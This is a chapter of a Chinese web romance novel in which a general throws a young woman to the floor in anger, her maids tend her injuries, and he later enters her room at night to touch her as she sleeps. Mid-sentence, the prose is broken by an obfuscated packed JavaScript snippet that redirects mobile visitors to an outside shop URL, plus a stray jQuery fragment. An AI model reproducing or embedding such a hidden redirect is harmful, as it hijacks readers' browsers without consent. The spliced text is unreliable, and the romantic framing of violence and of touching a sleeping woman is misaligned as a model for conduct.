16. 被扔
作品:《作壁上观》 “云衣姑娘!”
采月只看见一个白影被扔在地上,待她惊呼着扑到陆云衣身边时,正看见谢随怒发冲冠的模样,像极了一头要撕碎猎物的恶狼,眼中迸出的寒光骇得她全身汗毛竖起,顿时身子抖得如筛糠。
拿着披风过来的连云也正好看着谢随发狠的模样,腿脚不受控制地,也瘫软在地,待谢随进屋后才连滚带爬得挪到陆云衣身边。
陆云衣只觉得自己的后腰一定裂开了,巨大的痛楚让她直冒冷汗,眼泪也不住地往下掉,瘫在地上无法动弹。所以她根本没注意到谢随要吃人的模样。
谢安听到呼声跑来,就看见瘫在地上的主仆三人,他也不敢稍作停留,越过几人,径直朝书房里去。
他站在门口,望了一眼房中,一片狼藉,散落一地的画像,还有从中折断的书桌。
原来那声巨响是这书桌断裂的声音!
这可是上好的乌木桌板,足有一掌厚,最是坚硬,少将军发了多大的脾气啊,使了这么大的力道!
一进书房,便看见谢随站在窗边的背影,依然那么挺直。大开的窗洞,入夜霜风灌进来,吹得地上的画卷哗啦哗啦的,谢随依然如劲松傲然风中,纹丝不动,还是那副生人勿近的样子。
谢安站在堂下离谢随有十步之遥,不敢发出声响。原本他就惹谢随不快,如今这位又正在气头上,至少要站在谢随一脚踢不到他的地方,尽量降低自己的存在感。
窗外的凉风呼呼打在谢随燥热的面上,热血还在身体中翻滚,他闭着眼睛,深深地吸气,吐气,压制着心中的那股冲动。
双耳却仔细地注意着门外的动静,过了好一会儿,才听见两个丫鬟喊着陆云衣,似乎扶起她有些费劲,但最后几人还是踉踉跄跄地离开了悬光阁。
自始至终都没有听到陆云衣发出一点声音,谢随的眉头却轻轻皱起来。
大约一炷香过去,谢随的脸上已经一片冰凉,心中那股躁动才终于平息下来。
“少…”谢安刚张开嘴,谢随就开口了。
“以后…不用再盯着陆,明月阁了。”谢随的情绪像是已经平复,声线和往常并没有两样。
“啊?”谢安依然心一惊。
谢安抬起头看向谢随,想看看他是不是在憋什么后招,他依然只能看到谢随笔挺的后背。
没有什么破绽,谢安又低下头暗自思量着。
“出去吧。”
“啊?”就这么让他走了,谢安有点难以置信,真的无事?
为了避免谢随反悔,他还是脚底抹油赶紧溜了。
走到门口,他想起刚才在地上无法动弹的陆云衣,迟疑了一下还是没有说话,继续走了出去。
听到外面角门被关上的声音,谢随才缓缓睁开眼睛,紧握的拳头被打开,掌心满是指甲掐出的血痕。
谢慎之,向来冷静如你,今日为何如此沉不住气,怎么突然冲动?
胸腔深处一口浊气终于被吐了出来。
谢随从小就比常人冷静、理智,素来越是气急,越是阴鸷,像蛰伏林中的恶虎,在一击即中前绝不会暴露丝毫情绪。
迎战西戎贼人,无论大将小兵他称得上是冷酷无情;
面对奸细暗探,用上七七四十九样刑具也心无波澜;
为什么每次遇到陆云衣总是控制不住情绪?
也不是没有美人投怀送抱过,莫说情绪波动,连谢随三步之内都没机会靠近。
只是最近,谢随也觉得自己的情绪似乎越来越不易控制,尤其面对陆云衣时,心绪总是轻易被勾起,好几次情绪外显,像今日这样的爆起确实有生以来头一遭。
陆云衣真是好本事!
她步步为营接近,到底是何目的?
谢随想不出来,他找不到蛛丝马迹。陆云衣身世虽暂时探查不清,但确实也找不到其他可疑之举。
说起来陆云衣的不妥之处,大概只有这幅离经叛道的画。
还有就是,对自己的不轨之举。倘若,倘若陆云衣真的对他芳心暗许,贪图自己,那今夜之后便也会知趣地避开自己了吧。
不知怎的,谢随脑海里突然就出现了一双干净透亮的杏眼。
谢随呼吸又粗起来。
精巧的鼻尖,水润的红唇,尖尖的下巴,纤细的脖颈,白嫩的胸口....
口中逐渐发干,喉结不自主滚动一下。
屋外的寒鸦叫了一声,惊醒了谢随。
一拳轻砸在窗台上,谢随将脑子的东西清除掉。
他看了一眼落在一堆美人画像中的那幅粉本画,眼神暗了暗。
又看向倒塌的桌子,不由想到,第一次在府中见到陆云衣,那时她倒在地上瘫软发抖,也没有哭出声来,只有眼泪不住地从眼眶中涌出来。
自己刚才狂暴得砸断书桌,自己都惊了一瞬,那女子向来柔弱乖软,定然被吓到了。
又想到自己将她扔出去时,她躺在地上,不能动弹的模样。不知怎的,心中没有处置不轨之人的畅快,心口竟有点发麻发酸。
心中好像有一块藏在最深处的寒冰悄悄裂开了一道纹。
窗外的风又大了起来,地上的画像呼啦啦响得更厉害,最上面那张小一些的画,被吹得掀起来又在地上翻滚。
谢随将窗关上,那张画终于安静下来,滚落在三脚的黑檀烛台脚下。
他弯下身将所有的画像收起来,找了墙角的一口大箱子放进去。又走到烛台边,睨着地上的画,站了好几息,最后还是捡起来放进箱子里,又将盖子合拢盖严实。
“采月,云衣姑娘伤哪了?”连云眼睛里满是焦急。
陆云衣卧在软榻上,吸着气,她一动,浑身就像散架了一样。
悬光阁地面铺着青石砖,冷冰冰,硬邦邦。她身子本就娇嫩,这一摔又重又突然,不仅外面的皮肉疼得厉害,连里面的骨头也生疼。
采月和连云也是惊骇得厉害,她们怕谢随要将她们一同撕碎,手脚一直发软。
后来两人还是颇费劲地,合力将陆云衣架回了明月阁,
采月坐在软榻边,手还颤抖着,她想检查一下陆云衣的伤势,可刚碰上衣衫,陆云衣就疼得厉害,看着陆云衣难耐的脸色和发抖的身体,她也心疼得眼中含着泪。
她摇摇头,“连云,我,我不知道。”
连云声音发着软,“怎么办?还是请个大夫来看看吧。”
她们两对视一眼,都从对方看到了恐惧,她们不敢。
万一将谢随又伤了陆云衣的消息透露出去,惹怒了那位煞神将军,她们不知道自己还能不能见到明天的太阳?
可若陆云衣有个三长两短,她们也没法儿同三小姐,二夫人和老夫人交代。
不知何时,窗口竟漏了一个缝,屋里的烛火轻轻地摇曳着。
正犹豫着要不要去去望舒院禀告,采月的手忽然被一只更冰凉的手握住,她一愣,赶紧紧紧回握住这只手,又凑到陆云衣眼前。
“云衣姑娘,你如何了,哪里不适?”
连云也围上来,关切得望着陆云衣。
陆云衣微不可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077796|195293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
察地摇摇头,“不要去,”声音更是微弱到几乎听不清。
连云和采月将耳朵都凑到陆云衣唇边,生怕听岔一个字。
“我,休息,几日便好了。”陆云衣艰难地说完一句话,大口吸着气。
“可是,云衣姑娘,你伤得好重。”连云快要哭出来了。
陆云衣又提着一口气,“莫要让老夫人知道,省得又去责备少将军。”
“云衣姑娘,”采月忍不住掉下眼泪,“你身上还痛着呢,咱们还找个大夫来看看吧!”
“没事儿,肉体凡胎那有不受伤的。”陆云衣短短两月已经成长很多,不再是那个一惊就惧怕得不得了的小兔子。
她甚至理解了佛经说的,“一切有为法,如梦幻泡影,如露亦如电,应作如是观。”
后面几句,她俩没听清,又凑近了一点,“什么,云衣姑娘你说什么?”
陆云衣扯着嘴角淡淡一笑,“今夜就不用惊动大家了,明日你们出去买一些跌打损伤的药膏回来便是了。”
佛经好像真的能让人更通透,才念了一句,身上的疼痛就消失了大半似的,说话更有精神了。
“好,云衣姑娘,”采月提醒道,“可这个月咱们的开销可不小,已经没什么余银了,买不了太多药的。”
“早前三姑娘送来的分红,大半都花在装裱送老夫人的佛经上了,剩下的几乎都用来买那些蓝蓝绿绿的彩色石头了。”连云补充道,她最是清楚银钱花在哪里了。
连云看了看采月,心一横,又对陆云衣说,“要不,咱们还是告诉告诉二夫人吧,她肯定会请大夫为你看伤,开药的。”
陆云衣目光笃定,摇摇头,“我说不用便不用,平时二夫人已照顾我颇多,我不能再给她添麻烦。”
“大不了,多躺几日好了。”
采月和连云又相互看了一眼,只得应好。
连云忽然察觉到有冷风进来,才发现窗未关牢,她忙把窗扉拉紧又将窗盖放下。云衣姑娘受伤虚弱,若吹了冷风极易染上风寒。
采月倒了一杯热茶,喂陆云衣慢慢喝下。身上暖了一些,疼痛也慢慢适应了,正好连云去打了热水进来,她撑着起身,清洗一番。
身上已经缓过来了,只后腰下方还疼得厉害,乌青了一大片,在陆云衣白皙的肌肤上格外刺眼。
没有药,也不能请大夫,采月和连云只能用冷帕子在伤处轻轻敷了敷,然后给陆云衣换上里衣,又扶着她卧到床塌上,
今晚大家都惊了半宿,原本她们还想夜里照看着陆云衣,但陆云衣从来不喜欢睡觉时旁边有人,便叫她们也去休息。
吹灭了烛台,屋子里陷入一片黑暗,眼中什么也看不见,身上的痛越发明显了。陆云衣上齿轻轻咬住下唇,浅眉微微蹙着,竟也慢慢睡着了。
后半夜,似窗户又漏开一个缝,又随即合上了。陆云衣沉在睡梦中,毫无察觉,只隐约感觉后腰酸痛处覆上了一片宽厚的温热。
随着热源伴着厚重的力道,打着圈游走下沉,被揉进皮肤,钻进伤处,又悄然在身体中化开,酥酥麻麻。酸酸的疼痛中有一些熨帖,整个身体都舒展开了,鼻间发出了舒服的哼声。
夜视极佳之人这时能看到陆云衣脸上的痛苦之色缓和不少。
一根骨节分明的手指扶在她的眉间,揉平了上面的褶皱。又顺着鼻梁,樱唇滑落下来,最后轻轻按住下巴,将下唇从牙齿中释放出来。
一道幽深的目光在陆云衣脸上停了很久,才终于撤开。
寒风钻进来,又消失了。

